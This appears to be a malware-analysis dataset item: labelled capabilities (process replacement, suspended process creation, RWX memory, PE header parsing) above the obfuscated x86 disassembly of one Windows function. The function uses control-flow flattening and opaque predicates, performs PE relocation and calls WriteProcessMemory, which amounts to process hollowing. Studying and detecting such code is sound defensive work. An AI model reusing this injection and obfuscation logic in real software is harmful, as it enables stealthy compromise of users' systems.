Function at 0x10008d20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x10075c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0xff35ad14
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x8011cf7f
je 0x1000f4e0
jmp 0x10008d5c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8079c026
je 0x1000dd96
jmp 0x10008d72
mov eax, dword [ebp - 0x13c]
sub eax, 0x80a6d7b8
je 0x100139bc
jmp 0x10008d88
mov eax, dword [ebp - 0x13c]
sub eax, 0x81199763
je 0x10010255
jmp 0x10008d9e
mov eax, dword [ebp - 0x13c]
sub eax, 0x815adb53
je 0x1000f4fd
jmp 0x10008db4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8160b691
je 0x1000d2f0
jmp 0x10008dca
mov eax, dword [ebp - 0x13c]
sub eax, 0x816f2f97
je 0x1000e79c
jmp 0x10008de0
mov eax, dword [ebp - 0x13c]
sub eax, 0x82012147
je 0x10010c84
jmp 0x10008df6
mov eax, dword [ebp - 0x13c]
sub eax, 0x825c430e
je 0x1001327f
jmp 0x10008e0c
mov eax, dword [ebp - 0x13c]
sub eax, 0x826fe7fd
je 0x1000e5f2
jmp 0x10008e22
mov eax, dword [ebp - 0x13c]
sub eax, 0x8314e07f
je 0x10012aca
jmp 0x10008e38
mov eax, dword [ebp - 0x13c]
sub eax, 0x8323c7e6
je 0x1000d971
jmp 0x10008e4e
mov eax, dword [ebp - 0x13c]
sub eax, 0x83cae1a8
je 0x100129b8
jmp 0x10008e64
mov eax, dword [ebp - 0x13c]
sub eax, 0x83d382a1
je 0x10016f1a
jmp 0x10008e7a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8450c60b
je 0x10010f76
jmp 0x10008e90
mov eax, dword [ebp - 0x13c]
sub eax, 0x84c8af24
je 0x10012c64
jmp 0x10008ea6
mov eax, dword [ebp - 0x13c]
sub eax, 0x84ed2321
je 0x1000d954
jmp 0x10008ebc
mov eax, dword [ebp - 0x13c]
sub eax, 0x85337fe3
je 0x100169bb
jmp 0x10008ed2
mov eax, dword [ebp - 0x13c]
sub eax, 0x85e8b3d9
je 0x1001040d
jmp 0x10008ee8
mov eax, dword [ebp - 0x13c]
sub eax, 0x870d8823
je 0x100168a5
jmp 0x10008efe
mov eax, dword [ebp - 0x13c]
sub eax, 0x8744a8ac
je 0x10012bc0
jmp 0x10008f14
mov eax, dword [ebp - 0x13c]
sub eax, 0x88071ff8
je 0x1001711a
jmp 0x10008f2a
mov eax, dword [ebp - 0x13c]
sub eax, 0x883c42dc
je 0x10011de0
jmp 0x10008f40
mov eax, dword [ebp - 0x13c]
sub eax, 0x88d36688
je 0x10014703
jmp 0x10008f56
mov eax, dword [ebp - 0x13c]
sub eax, 0x89101d1d
je 0x10011242
jmp 0x10008f6c
mov eax, dword [ebp - 0x13c]
sub eax, 0x89176f75
je 0x1000eeb2
jmp 0x10008f82
mov eax, dword [ebp - 0x13c]
sub eax, 0x89a1bd32
je 0x10016b99
jmp 0x10008f98
mov eax, dword [ebp - 0x13c]
sub eax, 0x89aa67fc
je 0x1001709d
jmp 0x10008fae
mov eax, dword [ebp - 0x13c]
sub eax, 0x89e28346
je 0x1000dd4b
jmp 0x10008fc4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a0a028c
je 0x1000f041
jmp 0x10008fda
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a427f66
je 0x1000d295
jmp 0x10008ff0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a7fd973
je 0x100166d4
jmp 0x10009006
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b89c52f
je 0x1000f37b
jmp 0x1000901c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c47abdf
je 0x10014339
jmp 0x10009032
mov eax, dword [ebp - 0x13c]
sub eax, 0x8df422e2
je 0x10016d88
jmp 0x10009048
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e30a734
je 0x1000f4c1
jmp 0x1000905e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e366692
je 0x10011a4a
jmp 0x10009074
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e8f6c7b
je 0x10011a2d
jmp 0x1000908a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ecea9eb
je 0x10010e10
jmp 0x100090a0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f1a7b3f
je 0x1001676a
jmp 0x100090b6
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f1b1c9c
je 0x10016b2d
jmp 0x100090cc
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f6d4a6c
je 0x1000e3b0
jmp 0x100090e2
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f7fe337
je 0x1001764b
jmp 0x100090f8
mov eax, dword [ebp - 0x13c]
sub eax, 0x9006c15d
je 0x1000fa3d
jmp 0x1000910e
mov eax, dword [ebp - 0x13c]
sub eax, 0x907d0b39
je 0x10010d5c
jmp 0x10009124
mov eax, dword [ebp - 0x13c]
sub eax, 0x90e750e4
je 0x1000ed6b
jmp 0x1000913a
mov eax, dword [ebp - 0x13c]
sub eax, 0x911edbdd
je 0x10012e92
jmp 0x10009150
mov eax, dword [ebp - 0x13c]
sub eax, 0x91f6be66
je 0x10014816
jmp 0x10009166
mov eax, dword [ebp - 0x13c]
sub eax, 0x920ece0b
je 0x10011166
jmp 0x1000917c
mov eax, dword [ebp - 0x13c]
sub eax, 0x927dbeaf
je 0x100168d2
jmp 0x10009192
mov eax, dword [ebp - 0x13c]
sub eax, 0x92eb7499
je 0x10012729
jmp 0x100091a8
mov eax, dword [ebp - 0x13c]
sub eax, 0x93073dfe
je 0x10012bcf
jmp 0x100091be
mov eax, dword [ebp - 0x13c]
sub eax, 0x93160c7e
je 0x1000fb13
jmp 0x100091d4
mov eax, dword [ebp - 0x13c]
sub eax, 0x9394d13b
je 0x1000d851
jmp 0x100091ea
mov eax, dword [ebp - 0x13c]
sub eax, 0x93aae949
je 0x1001453f
jmp 0x10009200
mov eax, dword [ebp - 0x13c]
sub eax, 0x94a960d2
je 0x10015e96
jmp 0x10009216
mov eax, dword [ebp - 0x13c]
sub eax, 0x94af5117
je 0x1000e374
jmp 0x1000922c
mov eax, dword [ebp - 0x13c]
sub eax, 0x952da1ab
je 0x10017763
jmp 0x10009242
mov eax, dword [ebp - 0x13c]
sub eax, 0x95638bfd
je 0x10015dc5
jmp 0x10009258
mov eax, dword [ebp - 0x13c]
sub eax, 0x956528a5
je 0x1000de9b
jmp 0x1000926e
mov eax, dword [ebp - 0x13c]
sub eax, 0x961f4e00
je 0x10013ae2
jmp 0x10009284
mov eax, dword [ebp - 0x13c]
sub eax, 0x96a6c30e
je 0x1000dc66
jmp 0x1000929a
mov eax, dword [ebp - 0x13c]
sub eax, 0x96fea311
je 0x10014109
jmp 0x100092b0
mov eax, dword [ebp - 0x13c]
sub eax, 0x97bd147e
je 0x100120e5
jmp 0x100092c6
mov eax, dword [ebp - 0x13c]
sub eax, 0x9804783a
je 0x1000fcf4
mov dl, 1
mov eax, 0x8160b691
mov ecx, 0xa59d2218
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100247d0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x138], 0x35d49429
jmp 0x10017838
mov dword [ebp - 0x138], 0x1ff7dbb6
jmp 0x10017838
mov dl, 1
mov eax, 0x4876b870
mov ecx, 0x8323c7e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100247b8]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100247b4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0xbc171f1a
jmp 0x10017838
movss xmm0, dword [0x100247ac]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0xb2d0c9eb
jmp 0x10017838
mov dword [ebp - 0x138], 0xfe96c959
jmp 0x10017838
movss xmm0, dword [0x10024790]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0xf8ad0214
jmp 0x10017838
movss xmm0, dword [0x1002478c]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10024788]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10024784]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x138], 0xd4632c08
jmp 0x10017838
mov dl, 1
mov eax, 0xee137320
mov ecx, 0x18215b40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
mov edx, eax
sub edx, 0x9f7481f3
sub edx, 1
add edx, 0x9f7481f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8947dd5
mov ecx, 0xce84094d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
mov edx, eax
add edx, 0x6b764266
sub edx, 1
sub edx, 0x6b764266
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59d1bc00
mov ecx, 0x6723be17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dword [ebp - 0x138], 0xb590dfab
jmp 0x10017838
movss xmm0, dword [0x10024748]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x138], 0x3eab646c
jmp 0x10017838
movss xmm0, dword [0x10024740]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x138], 0x704db262
jmp 0x10017838
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x89a1bd32
mov ecx, 0x9d89c2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100244ac]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5848f2f2
mov ecx, 0x583c22ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x10024718]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x138], 0x8011cf7f
jmp 0x10017838
mov dl, 1
mov eax, 0x2355f4a3
mov ecx, 0x815adb53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x10024714]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x10024710]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x138], 0x3c6b6796
jmp 0x10017838
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
mov edx, eax
sub edx, 0x9c2a1511
sub edx, 1
add edx, 0x9c2a1511
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef928e0a
mov ecx, 0x28c8ee5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100246fc]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0xf824c4aa
jmp 0x10017838
mov dword [ebp - 0x138], 0xcd8bb9ae
jmp 0x10017838
movss xmm0, dword [0x10024478]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10024474]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
add edx, 0x61a3afc
sub edx, 1
sub edx, 0x61a3afc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8df422e2
mov ecx, 0x26c00120
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x1002445c]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10024458]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
mov edx, eax
sub edx, 0xc5d77d77
sub edx, 1
add edx, 0xc5d77d77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbec1bc1
mov ecx, 0xd9a1ecf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x10024454]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ab7f39d
mov ecx, 0xa29dcf92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dword [ebp - 0x138], 0xd493acec
jmp 0x10017838
mov dword [ebp - 0x138], 0x1c50ade3
jmp 0x10017838
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ebc23e8
mov ecx, 0x61c39036
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x10024674]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x138], 0xd850439a
jmp 0x10017838
mov dl, 1
mov eax, 0x7db94c1
mov ecx, 0x8e366692
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x10024634]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0xaad4eb21
jmp 0x10017838
mov dl, 1
mov eax, 0x5b3c2178
mov ecx, 0xfcc7f764
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100245f4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x138], 0x40071220
jmp 0x10017838
mov dword [ebp - 0x138], 0x37664a70
jmp 0x10017838
mov eax, dword [0x10076f28]
mov ecx, dword [0x10076f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95c6b9f
mov ecx, 0xcb7c5f01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
movss xmm0, dword [0x100245d4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100245d0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0xccd2ef2
jmp 0x10017838
mov dword [ebp - 0x138], 0x93073dfe
jmp 0x10017838
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100245cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100245c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100245c4]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x6d22c3a1
jmp 0x10017838
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
sub edx, 0x49d29cec
sub edx, 1
add edx, 0x49d29cec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6d465f6
mov ecx, 0x3ef1a495
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dl, 1
mov eax, 0x417710d9
mov ecx, 0xe29e6d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
add edx, 0xfc131664
sub edx, 1
sub edx, 0xfc131664
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb480f3e6
mov ecx, 0x61615d2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10024580]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x9e2245f
jmp 0x10017838
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1002457c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10024578]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x7c5a595f
jmp 0x10017838
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10024524]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10024520]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x7d1ee3c2
jmp 0x10017838
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10024518]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xd907befd
jmp 0x10017838
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
add edx, 0x26717781
sub edx, 1
sub edx, 0x26717781
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe6b48e1c
mov ecx, 0xdfd13001
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dl, 1
mov eax, 0x3ebb9467
mov ecx, 0x1f0fafe1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dword [ebp - 0x138], 0xd294322f
jmp 0x10017838
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov dword [ebp - 0x138], 0xb52fcb31
jmp 0x10017838
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa4]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x138], 0xcc0b77f1
jmp 0x10017838
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
add edx, 0x8b456dcf
sub edx, 1
sub edx, 0x8b456dcf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0ee7da3
mov ecx, 0x2a8c2fc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov ecx, dword [0x10076f28]
mov eax, dword [0x10076f24]
mov edx, ecx
sub edx, 0xc680a5a9
sub edx, 1
add edx, 0xc680a5a9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a560295
mov ecx, 0x18546e3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10017838
mov dword [ebp - 0x138], 0xb74da204
jmp 0x10017838
movss xmm0, dword [0x10024508]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x138], 0x6d47a174
jmp 0x10017838
movss xmm0, dword [0x100244e8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0x2d3d71a3
jmp 0x10017838
movss xmm0, dword [0x100244c0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x138], 0xd3ba506e
jmp 0x10017838
movss xmm0, dword [0x100244b4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x138], 0x9d89c2d
jmp 0x10017838
movss xmm0, dword [0x10024478]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10024474]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x138], 0x85e8b3d9
jmp 0x10017838
movss xmm0, dword [0x10024448]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10024444]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10024440]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x2f17e53b
jmp 0x10017838
movss xmm0, dword [0x10024418]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10024414]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0x1c319bc2
jmp 0x10017838
mov dword [ebp - 0x138], 0x788fa7f7
jmp 0x10017838
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x138], 0x282006a2
jmp 0x10017838
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x138], 0xe7d14834
jmp 0x10017838
jmp 0x10008d40